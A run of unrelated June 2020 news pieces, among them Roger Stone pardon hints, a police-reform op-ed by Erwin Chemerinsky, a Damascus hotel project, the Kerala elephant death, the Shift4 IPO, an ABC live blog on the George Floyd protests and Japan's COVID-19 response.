WASHINGTON - President Donald Trump strongly hinted Thursday at a pardon of friend and longtime political adviser Roger Stone, who has been ordered to report to prison later this month. Trump said Stone was the "victim of a corrupt and illegal Witch Hunt" and should "sleep well at night."

Trump's comments on Twitter came in response to a tweet by conservative activist Charlie Kirk, who complained that Stone would be serving more time in prison than "99% of these rioters destroying America," a reference to violent protests in the wake of the death in police custody of Minneapolis man George Floyd.

"This isn't justice," Kirk said in his tweet, asking his Twitter followers to retweet him "for a full pardon of Roger Stone!"

In his words, Trump wrote: "No. Roger was a victim of a corrupt and illegal Witch Hunt, one which will go down as the greatest political crime in history. He can sleep well at night!"

A jury convicted Stone in November of lying during testimony to the House Intelligence Committee in September 2017 to conceal his central role in the Trump campaign's efforts to learn about Democratic computer files hacked by Russia and made public by WikiLeaks to damage Trump's opponent, Hillary Clinton.

Stone, the last defendant charged in special counsel Robert S. Mueller III's investigation of Russian interference in the 2016 election, was sentenced to three years and four months in prison, suspended pending his motion for a new trial.

A federal judge denied that motion in April.

Last week, the Federal Bureau of Prisons said Stone must report to federal prison by June 30.

Trump has hinted at a possible pardon of Stone before in his tweets, but Thursday's was the first since that announcement.

Special Investigation 147 NY dams are 'unsound,' potentially dangerous Thousands of dams have not been inspected in over 20 years.

In a separate tweet on Wednesday, Trump wrote that Mueller "should have never been appointed" to investigate Russian interference in the election and possible coordination with the Trump campaign.

- - -

The Washington Post's Spencer S. Hsu and Matt Zapotosky contributed to this report.
Justin Mullen listens to a speaker outside LAPD headquarters during a Black Lives Matter protest. (Dillon Deaton / Los Angeles Times)

Police departments rarely reform themselves, and unfortunately, under President Trump, the legal tools to deal with excessive police force and change policing have been gutted.

Twenty years ago, a group of civil rights lawyers and I did a study of the Los Angeles Police Department in the wake of the Rampart scandal and concluded that only external intervention and oversight could change a police culture that exalted Dirty Harry and shunned Serpico. The United States Department of Justice informed the city that it was going to sue for a pattern and practice of civil rights abuses, and a settlement was ultimately reached that made a significant difference in Los Angeles policing.

But the Trump Justice Department has disavowed use of this legal tool. A federal statute, 42 U.S.C. 14141, allows the Justice Department to sue a city for a pattern and practice of civil rights violations. Often these suits have led to consent decrees that mandate change. In the Los Angeles agreement, for example, hundreds of reforms were required, including monitoring of police stops and tracking of officers disciplinary violations. Similar successful settlements were reached in numerous cities, including Seattle, Baltimore, Pittsburgh and Cincinnati.

But in November 2018, then-Atty. Gen. Jeff Sessions made clear that he regarded section 14141 as an intrusion on local police departments and he did not want the Justice Department to enter into consent decrees for reforms. Atty. Gen. William Barr has continued that approach. The law can mandate reforms that help prevent killings like that of George Floyd, but it is now going unused.

Lawsuits are another avenue that can lead to police department reform. But the Supreme Court has made these enormously difficult. One pivotal case was City of Los Angeles vs. Lyons, in 1982, in which the court made it very hard to sue police departments for injunctions to bring about reforms. Adolph Lyons, a 24-year-old African American man, was stopped by Los Angeles police officers for having a burned-out taillight on his car. An officer slammed Lyons' hands above his head on the roof of the car, and Lyons complained that the keys were cutting into his hand. The officer then administered a chokehold on Lyons and rendered him unconscious. He awoke spitting blood and dirt. He had urinated and defecated. The officer gave him a ticket and allowed him to go.

Story continues

Lyons did not want to let the matter die. He discovered that, at the time he was pulled over, 16 people in Los Angeles had already died from police use of chokeholds. Almost all of them were African American men. Lyons sued for an injunction to stop police from using the chokehold except where necessary to protect an officers life or safety. The Supreme Court, though, ordered his case dismissed, saying that Lyons could not show that he personally was likely to be choked again in the future. The court said that a plaintiff, like Lyons, seeking an injunction must demonstrate a likelihood of personal injury. This makes it enormously difficult, and often impossible, to sue police departments to halt use of dangerous practices like racial profiling or the restraint procedures that killed Eric Garner and George Floyd.

The Supreme Court has also made it extremely difficult to successfully sue cities or police departments for money damages, which can help to provide an incentive for reforms. The court has held that local governments can be held liable only if it is proven that their policies led to a constitutional violation. And the court has made proving municipal policy enormously difficult. Rarely can inadequacies in hiring or training or supervision or discipline rise to the level of a municipal policy.

Suing individual police officers for money damages, even when they use excessive force, also is exceedingly difficult. Any government official sued for a constitutional violation can assert a qualified immunity defense, which means that he or she can be held liable only for violations of clearly established law that every reasonable officer should know. The Supreme Court has said that this defense protects all but the plainly incompetent or those who knowingly violate the law. In case after case involving police excessive force, including deaths at the hands of the police, the Supreme Court has ordered dismissal of suits based on qualified immunity.

The result of all of this is to largely eliminate the legal tools that can be used to reform police departments. The Trump administration wont use the federal statute that would give the Justice Department the ability to take action, and the Supreme Court has closed the courthouse doors. It is no surprise then that police abuses continue and that the nation has erupted over the racism in policing that is so deeply embedded in American history.

It does not have to be this way. The Justice Department could go back to using its authority under Section 14141. Congress could revise federal civil rights statutes to provide more ways to challenge and reform police departments. The Supreme Court could reevaluate the legal doctrines that make suits against police so difficult. Dramatic changes in police departments can occur, but only if there are the legal tools to make it happen.

Erwin Chemerinsky is dean of the UC Berkeley School of Law and a contributing writer to Opinion.
It has been announced that a private company will construct a five star hotel on the site of the Hejaz Railway Station reports Sowt al-Asima.

The General Foundation for the Hejaz Railway Station announced it had concluded granting an investment project to an unnamed private company to develop the historic train station in Damascus.

The director of the foundation, Hassanein Muhammad Ali, said that the investment project aims to set up a tourism and business complex named Nirvana, under a 45-year contract, according to pro-regime newspaper Al-Watan.

Ali added that the annual allowance for the investment, according to the project, is 1.6 billion Syrian pounds, or 16 percent of revenue, in accordance with their rise. The annual allowance is set to increase by five percent every three years, so that in the final three years of the investment period, it will reach 3.167 billion Syrian pounds annually, so that the entire project can then be owned by the foundation.

According to Ali, the Nirvana complex will consist of a 300-bed five star hotel of 5,100 sq. meters, alongside a commercial complex, restaurants and multi-purpose halls. The hotel will have 12 stories and cost 40 million dollars, and its implementation period will be 36 months from the date of licensing, to be invested in accordance with the build-operate-transfer (BOT) system.

The General Foundation presented the investment project in mid-November 2019, to include real estate property 748 from the al-Qanawat area, with an area of 5,133 sq. meters owned by the foundation, during the Tourism Investment forum held by the Ministry of Tourism.

This article was translated and edited by The Syrian Observer. The Syrian Observer has not verified the content of this story. Responsibility for the information and views set out in this article lies entirely with the author.
Image: Mohan Krishnan/Facebook

One accused has been arrested in connection with the death of the pregnant elephant at Palakkad in Kerala, the state's Forest Minister K Raju told News18.

The police and forest department are carrying out the probe, the report said.



Major breakthrough! KFD has zeroed on the culprits and recorded the first arrest in the wild elephant death case.

 Kerala Forest Department (@ForestKerala) June 5, 2020

The Kerala Forest Department tweeted about the latest development.

Also read: Kerala elephant death | Initial probe shows death may have been an accident, not act of mischief

A pregnant elephant died at Velliyar River on May 27 after she ate a pineapple filled with firecrackers.

The incident took place near the forests of Silent Valley in Palakkad district.

Surendrakumar - IFS and Principal Chief Conservator of Forests (Wildlife) and Chief Wildlife Officer - told Moneycontrol that it is unlikely that someone will offer pineapples to a wild elephant.

Union Minister Prakash Javadekar said the environment ministry has taken a serious note of the death and assured that stern action will be taken against the individuals responsible.

The incident has generated outrage on social media, including reactions from several prominent individuals.

Industrialist Ratan Tata compared the killing of the pregnant elephant to a "meditated murder", and sought justice for the animal.

Several actors, including Akshay Kumar, Sonali Bendre Behl and Randeep Hooda, also reacted to the animal's death.
I walked the streets of Center City on Saturday night with a group of clergy as the looting was at a feverish pitch and buildings burned. We were there as unofficial protest monitors, ensuring that even looting children be treated with all that the law affords if arrested. In spite of what the president said, looting is not a capital offense.

I saw hundreds of young people who looked like my own children. They were taking sneakers, clothes, and electronics. I thought as we walked past the police guarding a broken window at Walgreens that if their colleagues in Minnesota had the same concern and protected George Floyd so carefully that we would not have been out there that night.

On Sunday evening, I joined several other clergy members to also bear witness to the looting at Parkside. Over those two days, I could not help but think of all the times that our organization, POWER, warned city elected officials and business leaders of the peril in neglecting the neighborhoods in Americas poorest big city.

I reflected on the words of the Rev. Dr. Martin Luther King Jr., who said of looting: Often the Negro does not even want what he takes; he wants the experience of taking. But most of all, alienated from society and knowing that this society cherishes property above people, he is shocking it by abusing property rights. There are thus elements of emotional catharsis in the violent act. I was moved by the owner of an Indian restaurant in Minneapolis that was burned down as he remained in support of the protests. As he said, he can rebuild a building, but not a human life.

I write all that to say that I thought I knew how I felt about the looting.

Until Monday, when I found myself pulled into a series of meetings with federal, state, and city elected officials and grassroots community leaders from the black community. The rage was palpable.

Persons whom I have known as advocates for criminal justice reform openly called for the district attorney to prosecute the thugs who were destroying the community. I spoke to a security expert called to Jeffrey Browns looted ShopRite, who lamented the fact that when called to Parkside for an analysis, older black women arrived and were devastated. It was the first of the month and they had come to pick up prescriptions and groceries. Where could they turn now? I heard the fear in the voices of persons that business leaders like Brown who employs hundreds of black people with criminal records, would listen to their friends and close up shop for good. I saw a congressman weep as he talked about how much they fought to build Parkside, and now it could all be gone. It was the side of looting that we who can get too theoretical can forget all too fast as we shout and preach out let it all burn.

I went home Monday night and wept. I wept for the desperately poor. I wept for those who stole not because they needed it, but because they are lost. I wept for the neighborhoods that have been left in ashes and broken glass. I wept for business owners, large and small. I wept for workers already devastated by COVID-19 who now have disasters added to the pandemic. I wept for my city, that I got to know just a little bit better this week through the pain and trauma of an uprising. I wept for protesters frustrated that their calls for justice will be marred by looting. I wept for us all.

And yet, I am still conflicted. Perhaps this feeling will never be resolved. These are not easy things to think about, let alone write about.

But I do maintain hope. My hope is found in the ashes of burned-out buildings. A good friend, the Rev. Cean James, and his congregation this coming Sunday will not worship in their building. Instead, they will worship inside the burned-out remains of a local Southwest Philadelphia business. What an image!

I see a day ahead for Philadelphia when we will rebuild a city of opportunity that works for all. A city that flourishes from the lofty top of the Comcast Tower to the strong neighborhoods of West, North, Southwest Philadelphia, and beyond. As the Prophet Isaiah declared, we will exchange our ashes for a new garment of praise.

The Rev. Mark Kelly Tyler is a pastor at Mother Bethel AME Church and cochair of the board for POWER Interfaith.
 Flash

A countywide curfew will not be enforced Thursday night in Los Angeles County of the United States, as largely peaceful protests over the death of George Floyd, an African American man, in police custody continue across the area.

"Based upon current situational awareness and the recent pattern of peaceful actions by protesters, the Los Angeles County Sheriff's Department will no longer enforce a curfew," tweeted Los Angeles County Sheriff Alex Villanueva Thursday morning, adding that other jurisdictions are free to make their own decisions.

A countywide curfew has been in effect for four nights in a row in the most populous U.S. county, with a population of over 10 million, since Sunday after days of protests which sometimes descended into chaos.

"I agree with this decision -- it gives the peaceful protesters more time to speak out on our streets without fear of arrest," tweeted Los Angeles County Supervisor Janice Hahn.

Hahn reminded local residents that cities may impose their own curfews.

Los Angeles Mayor Eric Garcetti announced that he will not impose a citywide curfew in the City of Los Angeles.

Thousands of peaceful protesters packed streets in downtown Los Angeles Wednesday as smaller demonstrations spread across the area. Multiple protests over the death of Floyd are taking place or expected to be held in cities across Southern California on Thursday, including one in Diamond Bar, a city with a huge Chinese American community.
[June 04, 2020] Shift4 Payments Announces Pricing of Initial Public Offering

Shift4 Payments, Inc. ("Shift4") (NYSE: FOUR), a leading independent provider of integrated payment processing and technology solutions, today announced the pricing of its initial public offering of 15,000,000 shares of its Class A common stock at a public offering price of $23.00 per share. The underwriters will also have a 30-day option to purchase up to an additional 2,250,000 shares of Class A common stock at the initial public offering price less the underwriting discount and commissions. Concurrent with the initial public offering, Shift4 Founder & CEO Jared Isaacman has agreed to purchase in a private placement $100 million of Class C common stock at the initial public offering price less the underwriting discount and commissions. The shares of Class A common stock are expected to begin trading on the New York Stock Exchange under the ticker symbol "FOUR" on June 5, 2020. The offering is expected to close on June 9, 2020 subject to customary closing conditions. Citigroup, Credit Suisse and Goldman Sachs & Co. LLC (listed in alphabetical order) are serving as joint active bookrunners. BofA Securities, Morgan Stanley, RBC Capital Markets and Evercore ISI are acting as joint passive bookrunnes. Raymond James, SunTrust Robinson Humphrey, Wolfe (News - Alert) Capital Markets and Advisory, Citizens Capital Markets, Scotiabank, TD Securities and Telsey Advisory Group are acting as co-managers.



A registration statement relating to this offering was declared effective by the Securities and Exchange Commission on June 4, 2020. The offering is being made only by means of a prospectus. Copies of the final prospectus relating to this offering, when available, may be obtained from Citigroup, c/o Broadridge Financial Solutions, 1155 Long Island Avenue, Edgewood, NY 11717 (Tel: 800-831-9146 or email to: [email protected]), from Credit Suisse Securities (USA) LLC, Attn: Prospectus Department, 11 Madison Avenue, 3rd Floor, New York, NY 10010 (Tel: 800-221-1037 or email to [email protected]) or from Goldman Sachs & Co. LLC, Attn: Prospectus Department, 200 West Street, New York NY 10282. This press release shall not constitute an offer to sell or the solicitation of an offer to buy these securities, nor shall there be any sale of these securities in any state or jurisdiction in which such offer, solicitation or sale would be unlawful prior to registration or qualification under the securities laws of any such state or jurisdiction.

About Shift4 Payments: Shift4 Payments is a leading independent provider of integrated payment processing and technology solutions, delivering a complete ecosystem of solutions that extend beyond payments to include a wide range of value-added services. The company's technologies help power over 350 software providers in numerous industries, including hospitality, retail, F&B, e-commerce, lodging, gaming, and many more. With over 7,000 sales partners, the company securely processed more than 3.5 billion transactions annually for over 200,000 businesses in 2019. View source version on businesswire.com: https://www.businesswire.com/news/home/20200604005810/en/

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Source: Xinhua| 2020-06-05 07:19:04|Editor: huaxia

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A worker sanitizes a passenger's hands at Usafi taxi park in Kampala, capital of Uganda, on June 4, 2020. Uganda on Thursday further eased its COVID-19 restrictions, reopening public transportation among other measures, after over 70 days of lockdown. Public transportation has been allowed to reopen across the country, excluding districts neighboring other countries. (Photo by Hajarah Nalwadda/Xinhua)
Steel Brooks/Anadolu Agency via Getty ImagesBy WILLIAM MANSELL and CATHERINE THORBECKE, ABC News

(NEW YORK) -- The death of George Floyd, a black man who died on Memorial Day after he was pinned down by a white Minnesota police officer, has sparked outrage and protests in Minneapolis and across the United States.



Second-degree murder, third-degree murder and manslaughter charges have been filed against Derek Chauvin, the officer who prosecutors say held his knee on Floyd's neck for nearly nine minutes. The three other officers have been charged with aiding and abetting second-degree murder and aiding and abetting manslaughter. All four officers have been fired.

Governors in 32 states and Washington, D.C., have activated more than 32,400 members of the National Guard.



This story is being updated throughout the day Friday. Please check back for updates. All times Eastern:

7:49 p.m.: Chicago PD relieves officers of duties following alleged misconduct



Two officers who were filmed dragging a pair of black women from their car and pinning them to the ground in a parking lot have been relieved of their police powers pending investigation, Chicago Police Superintendent David O. Brown announced.



The incident took place on May 31 in the Brickyard Mall and the video showed several officers approach the victims' car and hitting the windows before removing them.



"The people that I thought was there to protect and serve us had dragged me out of the car by my hair and slammed me to the ground," Mia Wright, one of the women, told Chicago ABC station WLS.



"The officer had his knee on my neck, and all I thought about, what happened to George Floyd and it could have been another situation like that," she added.



Brown said he reviewed the Civilian Office of Police Accountability's recommendation about the incident and noted that the Cook County State's Attorneys Office is also investigating.



"We take law enforcement accountability seriously and have reached out to the family involved through their attorney," the Cook County State's Attorney's office said in a statement Thursday.



6:58 p.m.: NFL commissioner apologizes to players who peacefully protested



NFL Commissioner Roger Goodell released a video statement supporting "George Floyd, Breonna Taylor, Ahmad Arbery, and all the families who have endured police brutality."



He also apologized for the league's behavior towards players who peacefully protested.



"We, the National Football League, admit we were wrong for not listening to NFL players earlier, and encourage all to speak out and peacefully protest. We, the National Football League, believe black lives matter," he said.



Goodell did not mention Colin Kaepernick by name but said that he would be will be, "reaching out to players who have raised their voices and others on how we can improve and go forward for a better and more united NFL family."

5:37 p.m. Buffalo police attack suspect releases statement



An attorney representing Martin Gugino released a statement on behalf of this client who is in serious but stable condition after he was shoved by Buffalo police officers during a protest.



Gugino is alert and oriented, according to his attorney Kelly V. Zarcone.



"Mr. Gugino has been a longtime peaceful protester, human rights advocate and overall fan of the U.S. Constitution for many years," Zarcone said.



"He appreciates all of the well wishes he has received and requests that any further protests continue to be peaceful," Zarcone added.

5:13 p.m. Canadian PM takes a knee at demonstration



Canadian Prime Minister Justin Trudeau attended a protest in Parliament Hill in Ottawa.



The prime minister didn't make a speech but clapped with the group and then took a knee while holding a Black Lives Matter t-shirt.



3:45 p.m.: Manhattan District Attorney says they will not prosecute protesters for low-level offenses



Manhattan District Attorney Cy Vance's offices said Friday afternoon that they will decline to prosecute protesters arrested for low-level offenses like unlawful assembly or disorderly conduct.



The policy aims to minimize unnecessary interactions with the criminal justice system.



"The prosecution of protestors charged with these low-level offenses undermines critical bonds between law enforcement and the communities we serve," the office said in a statement. "Days after the killing of George Floyd, our nation and our city are at a crossroads in our continuing endeavor to confront racism and systemic injustice wherever it exists."



"Our office has a moral imperative to enact public policies which assure all New Yorkers that in our justice system and our society, black lives matter and police violence is a crime," the statement added. "We commend the thousands of our fellow New Yorkers who have peacefully assembled to demand these achievable aims, and our door is open to any New Yorker who wishes to be heard."



If there is evidence that individuals personally participated in violence against police officers, destruction or looting, they will be charged with appropriate crimes, the office added.



4:20 p.m.: Gov. Newsom says he will look into ban on use of strangleholds



In a news conference Friday calling for "change," California Gov. Gavin Newsom said he will look into a ban on the use of strangleholds similar to the one that killed Floyd. The governor said that he wants to standardize the engagement protocols throughout the state instead of having different protocols across local jurisdictions.



He added that "chokeholds" have been illegal in California, but "strangleholds" have continued to be allowed.



"The black community does not need to change. We need to change. We have a responsibility to change," Newsom said. "Our institutions need to change. Our capacity of understanding needs to change."



"Protestors have the right to not be harassed," he added. "They have the right to protest peacefully. They have the right to not be arrested, gassed, shot at by projectiles. Thats a simple value statement and I want to make that crystal clear."



3:45 p.m.: San Francisco implementing police reforms to safeguard against false accusations from police



San Francisco District Attorney Chesa Boudin said the city is implementing a new policy requiring that prosecutors review all available evidence before charging any case involving allegations of resisting, obstructing police officers or assault on officers.



The district attorney's office said the new policies are meant to safeguard against false accusations by police to cover up misconduct.



The announcement comes a day after city leaders said they are determined to shift funds from the police department to instead go toward\ the black community.



3:30 p.m.: Nearly 60 Buffalo police resign from Emergency Response Team in protest of suspension of officers who shoved older man



57 members of the Buffalo Police Department have resigned from the Emergency Response Team, but remain on the force, according to an official from their union.



John Evans, president of the Buffalo Police Benevolent Association, said the move was meant to protest the suspensions of two officers involved in the caught-on-video shove of an older man at a protest.



The 75-year-old protester was seen shoved by police to the ground and bleeding from his head in a now-viral video.



Erie County Executive Mark C. Poloncarz said he had not heard about the 57 officers resigning from the Emergency Response Team at a press conference Friday afternoon. He added, however, that if they resigned that indicates to him that the officers didn't see anything wrong with actions taken last night.



3:20 p.m.: DC Chief of Police says no arrests made in Thursday's protests



Peter Newsham, the Washington, D.C. chief of police, announced that for the second consecutive day, there were no arrests made in the nation's capital during Thursday's protests.



Newsham said they are gearing up for what they expect to be the largest demonstration yet on Saturday, but he is hopeful it will be a peaceful one.



3 p.m.: Ohio National Guard member removed for 'white supremacist ideology'



A member of the Ohio National Guard has been removed from an assignment in Washington, D.C., after the FBI uncovered that they had expressed white supremacist ideology on the internet.



The FBI is investigating and the individual has been suspended from all missions at this time. Gov. Mike DeWine said on Twitter that it is "highly likely" the individual will be permanently removed from the Ohio National Guard.



"While I fully support everyone's right to free speech, Guardsmen and women are sworn to protect all of us, regardless of race, ethnic background, or religion," he added.



2:20 p.m.: Minneapolis temporarily bans police using chokeholds



The Minneapolis City Council has voted unanimously to approve a temporary restraining order which would ban police officers from using chokeholds and other neck restraints.



It would also require officers to report any unauthorized use of force by their colleagues while still on the scene, regardless of rank.



Moreover, according to the language in the temporary restraining order, if officers don't intervene, they will be disciplined as though they themselves are the ones who used unauthorized force.



Going forward, the Minneapolis police chief will have to authorize the use of crowd control weapons, including chemical agents such as tear gas.



The police department will now have 45 days to clear out a current backlog of complaints against officers. After that, complaints have to be addressed within 30 days.



Currently, body camera footage is only reviewed when a complaint against an officer is made. The temporary restraining order would require all footage to be audited.



"This is a moment in time where we can totally change how our police department operates," Minneapolis Mayor Jacob Frey said. "We cannot fail."



2:04 p.m.: Trump blasts DC mayor as 'incompetent'



As the tensions between Trump and D.C. Mayor Muriel Bowser escalate, the president blasted her as "incompetent" on Twitter Friday after she asked that he remove all federal law enforcement and military presence from the city.



"The incompetent Mayor of Washington, D.C., @MayorBowser, who's budget is totally out of control and is constantly coming back to us for "handouts", is now fighting with the National Guard, who saved her from great embarrassment over the last number of nights," Trump wrote. "If she doesn't treat these men and women well, then we'll bring in a different group of men and women!"

1:39 p.m.: Remaining active duty troops in D.C. area ordered home



Active duty troops stationed just outside of Washington D.C., have been ordered to return to their home bases at Fort Bragg and Fort Drum.



The 1600 troops were never positions in D.C. Instead, they remained on standby at Joint Base Andrews.

1:00 p.m.: Biden calls Trump's comments about Floyd 'despicable'



Former vice president and Democratic presidential candidate Joe Biden said the remarks Trump made earlier about Floyd looking down and seeing a "great day" for the country were "despicable."



"Before I speak to the economic situation, I have to take a moment to address something that the president said this morning. Toward the end of his remarks, President Trump said that he hopes that, quote, 'George Floyd is looking down and seeing this is a great day for our country,'" Biden said at a news briefing in Dover, Delaware.



"Were speaking of a man who was brutally killed by an act of needless violence and by a larger tide of injustice that has metastasized on this presidents watch as hes moved to split us based on race and religion, ethnicity," Biden added. "George Floyd's last words, I can't breathe, I can't breathe, have echoed all across this nation and quite frankly around the world."



He continued: "For the president to try to put any other words in the mouth of George Floyd I frankly think is despicable."

12:45 p.m.: FBI claims law enforcement and public being threatened with explosives at or near protests



The Federal Bureau of Investigation's National Explosive Task Force issued a bulletin to police agencies across the country warning that law enforcement is being threatened with explosives at or near protests.



They say the most common type of devices being used are Molotov cocktails and fireworks.



"The danger posed to law enforcement officers and the general public from both (improvised incendiary devices) and fireworks is substantial," the bulletin notes. "Both tactics can cause serious injury and death, and significant damage to infrastructure and automobiles."



A week ago today, NYPD vehicles in New York City were targeted with Molotov cocktails during protests in Brooklyn. No cops were injured, but three people were charged with federal riot offenses.

12:00 p.m.: US Attorney for the Western District of New York reacts to Buffalo police shoving older protester to the ground



In a statement reacting to the viral video of an older American protester who was shoved to the ground by police in Buffalo, New York, the U.S. Attorney for the Western District of New York James Kennedy said the officers involved have been suspended pending further investigation.



"Last night, after seeing the video of the incident occurring in front of City Hall, I was concerned and immediately contacted both BPD Commissioner Lockwood and FBI Acting SAC Guyton. The officers involved have been suspended pending further investigation," Kennedy said. "On behalf of the entire law enforcement community, I offer our sincere best wishes to the injured gentleman, as we hope and pray for his speedy and complete recovery."



Earlier Friday, the Erie County District Attorney's office confirmed they were investigating the incident, and said the man seen in the video bleeding from his ear was being treated for a head injury at the Erie County Medical Center.

10:50 a.m.: Trump references death of Floyd in speech touting job gains



In a last-minute news conference to discuss this morning's job report, President Trump said he hoped Floyd was "looking down" from heaven "and saying, 'This is a great thing happening for our country.'"



"We all saw what happened last week. We can't let that happen. Hopefully, George is looking down right now and saying, 'this is a great thing happening for our country,'" the president said. "This is a great day for him, this is a great day for everybody. This is great day for everybody. This is a great, great day in terms of equality. It's really what our Constitution requires, and it's what our country is all about."



The president's comments about Floyd came after he said governors should use the National Guard to "dominate the streets," adding from scripted remarks that "every American receives equal treatment in every encounter with law enforcement regardless of race, color, gender, or creed."

10:30 a.m.: Bill de Blasio pledges 'change in the NYPD'



New York City Mayor Bill de Blasio, who has come under fire for his handling of the Floyd protests in New York City, pledged in a news conference Friday: "You will see change in this city, you will see change in the NYPD."



"We simply have not gone far enough. The status quo is still broken, it must change," he added.



The mayor said this "will be the work for the next year and a half of this administration -- to make more change, to make it urgently, to make it powerfully and to make it clear."



He said that work will "proceed immediately," and "you will see those results and you will judge for yourself, as all New Yorkers do."



"Even though we say that phrase words matter and words do matter, actions matter more and thats what we have to achieve," he said. He also promised increased transparency.



De Blasio said that the protests in New York City Thursday were "overwhelmingly peaceful" and that there was little to no property damage. He added that there is no circumstance in which a member of the news media doing their job and covering the protests should be arrested. He also urged everyone who attended protests in New York City to get tested for COVID-19.



Finally, the mayor said that essential workers who are doing their jobs amid the ongoing COVID-19 crisis will be exempt from the citywide curfew.



10:15 a.m.: Vice President Mike Pence to attend 'listening session' in Maryland



The vice president will attend a "listening session with faith and community leaders" in Beltsville, Maryland, today at 12 p.m. ET.



The announcement comes as calls for President Trump to listen to the messages of the protesters across the nation mount and as the president has remained largely defensive and out of sight as the country reels from the death of Floyd.



Pence on Thursday met with a group of black conservative leaders, a White House official said. He shared a photo of the meeting on his Twitter account, saying he was grateful to "hear their insights about how we can move our Nation forward in the wake of the tragic death of George Floyd and the protests and rioting that have ensued."

9:30 a.m.: Mayor asks Trump to remove federal law enforcement and military presence from Washington, D.C.



Washington, D.C. Mayor Muriel Bowser sent a letter to President Donald Trump asking the president to remove "extraordinary federal law enforcement and military presence from our city" as tensions escalate in the nation's capital.



Bowser said she has ended the state of emergency in the nation's capital due to the demonstrations.



The protestors have been peaceful, and last night, the Metropolitan Police Department did not make a single arrest, Bowser wrote. Therefore, I am requesting that you withdraw all extraordinary federal law enforcement and military presence from Washington, DC.



Bowser said that the lack of an identifying insignia among the law enforcement officers in D.C. adds confusion for protesters, and creates unnecessary risks for both protesters and officers.

I request that @realDonaldTrump withdraw all extraordinary federal law enforcement and military presence from our city. pic.twitter.com/AvaJfQ0mxP  Mayor Muriel Bowser #StayHomeDC (@MayorBowser) June 5, 2020

7:19 a.m.: NYPD arrests at least 250 protesters Thursday



The New York City Police Department arrested at least 250 people during largely peaceful protests that extended beyond the 8 p.m. curfew Thursday.



In a break from the previous nights practice in which police issued an hour of warnings, officers Thursday night immediately began making arrests in the Bronx at 8 p.m.



There was a second group of arrests on the Upper West Side and more in Williamsburg, Brooklyn.



For a second straight night, officials said there was little if any looting/vandalism and only minor injuries to just a few officers. However, Mayor Bill de Blasio was upset a delivery man was detained in the Upper West Side roundup.



"Just got off the phone with @NYPDShea after seeing the troubling video of a delivery worker arrested by police while doing his job. This is NOT acceptable and must stop," de Blasio tweeted. "Food delivery is essential work and is EXEMPTED from the curfew. Same goes for journalists covering protests and out doing their jobs. They are essential workers, too. We WILL protect their rights. The public depends on the information they provide."

5:56 a.m.: 66% of US disapproves of Trump's response to George Floyd's death



Nearly two-thirds of the country disapproves of President Donald Trump's response of George Floyd's death, according to a new ABC News/Ipsos poll.



Only 32% of Americans approve of Trump's reaction in the aftermath of Floyd's death, which has sparked thousands and thousands of protesters in dozens of cities demanding racial justice.



Troubling for Trump is that only 69% of Republicans approve of his response to Floyd's death. Democrats were nearly unanimous in their response, with 96% of poll respondents disapproving of Trump's handling of the protests.



Majorities across racial groups, too, disapprove of the president's response to Floyd's death, with the sharpest rebuke of the president coming from blacks, with 90% disapproval, compared to 59% of whites and 74% of Hispanics.

4:25 a.m.: North Dakota National Guard activated ahead of Friday demonstrations



More than 250 Minnesota and North Dakota National Guard members are being sent to their states' borders ahead of planned protests Friday in Fargo, North Dakota.



"The North Dakota National Guard is ready to assist local authorities to protect lives, property and critical infrastructure, preserve peace, and ensure public safety," a North Dakota National Guard spokesman told ABC News. "We have a company sized element from the 131 Military Police Battalion supporting this mission. Roughly 160 Soldiers."



North Dakota Gov. Doug Burgum made the call on Wednesday to activate the troops after authorities received credible threats.



The mayor's office in Fargo said the North Dakota Guard would be on hand to help keep the peace during demonstrations planned for Friday.



Based on received threats, Fargo City Hall, the downtown Fargo Public Library and Fargo Municipal Court will be fully closed on Friday with all employees working remotely," the city of Fargo said in a statement. "The North Dakota National Guard has been activated to protect public infrastructure.



The city said multiple organizations will take part in the "OneFargo" event Friday at a local park that is intended to be a family and community event. The city, however, said no protesters would be allowed to block public rights of way in any part of the city.



"The City will not tolerate violent acts targeting any individuals or property. The department will continually monitor any threats. We believe threats may exist but we dont have information suggesting there are specific targets regarding downtown businesses," the city said in a statement Thursday. "Business and property owners may make their own decisions as to what precautions they believe are best for them."



Copyright  2020, ABC Audio. All rights reserved.
In this May 14, 2020, file photo, people rest on the grasses at a park in Yokohama, Kanagawa prefecture, near Tokyo. As Japanese return to schools, shops and offices reconfigured to help prevent new coronavirus infections with ample use of plastic screens, masks and reminders to keep their distance, access to faster testing is crucial, officials say.(AP Photo/Shuji Kajiyama, File)

Japan has kept its deaths from the new coronavirus low despite a series of missteps that beg the question of whether it can prevent future waves of infections.

Authorities were criticized for bungling a cruise ship quarantine and were slow to close Japan's borders. They have conducted only a fraction of the tests needed to find and isolate patients and let businesses operate almost as usual, even under a pandemic state of emergency.

But the roughly 900 deaths, or 7 per million people, in Japan are far fewer than the 320 per million in the U.S. and more than 550 per million in Italy and Britain.

Prime Minister Shinzo Abe on May 25 declared an end to a 7-week pandemic state of emergency, lauding "the power of the Japan model" and winning World Health Organization chief Tedros Adhanom Ghebreyesus's praise as a "success."

Experts say it's unclear exactly how Japan has managed to keep outbreaks in check, but the country needs to use the reprieve to beef up testing and healthcare systems to better find, isolate and treat patients to minimize future waves of infections.

A government-commissioned panel concluded that early contact-tracing helped pinpoint outbreaks, slowing the spread of the virus until late March, when a surge of cases overwhelmed the extremely labor intensive process of investigating clusters of infections.

Customers drink a toast through plastic partitions at Kichiri, an "izakaya" restaurant at Shinjuku district in Tokyo Thursday June 4, 2020. At the restaurant, customers pass through a gate to get whole-body disinfectant smoke, follow a mobile map to their tables and order from tablets with sensors allowing touchless operation. Seats are divided with plastic partitions and dishes delivered with plastic covers. (AP Photo/Eugene Hoshiko)

A campaign to get the public to avoid high-risk environments, dubbed the "three Cs," or close contact, closed settings and crowded places, also helped, it said.

"At a relatively early stage, we detected signs of infections and we were aware of how the coronavirus transmits ... We were able to warn the people against the '3 Cs' from early on," said Shireru Omi, a public health expert and leading figure on the government task force.

"Japan could have been like (the U.S. or Europe) if infections had overshot at the beginning," he said.

Omi and other experts say widespread use of masks to fend off allergies and prevent sharing colds; the Japanese custom of bowing instead of shaking hands or hugging; a taboo on wearing shoes inside homes and a highly accessible, affordable public health system all helped.

In this June 1, 2020, file photo, shoppers maintain social distancing as they walk in line to enter reopened Shibuya 109, a landmark and fashion building in Shibuya shopping distric, in Tokyo. As Japanese return to schools, shops and offices reconfigured to help prevent new coronavirus infections with ample use of plastic screens, masks and reminders to keep their distance, access to faster testing is crucial, officials say.(AP Photo/Eugene Hoshiko, File)

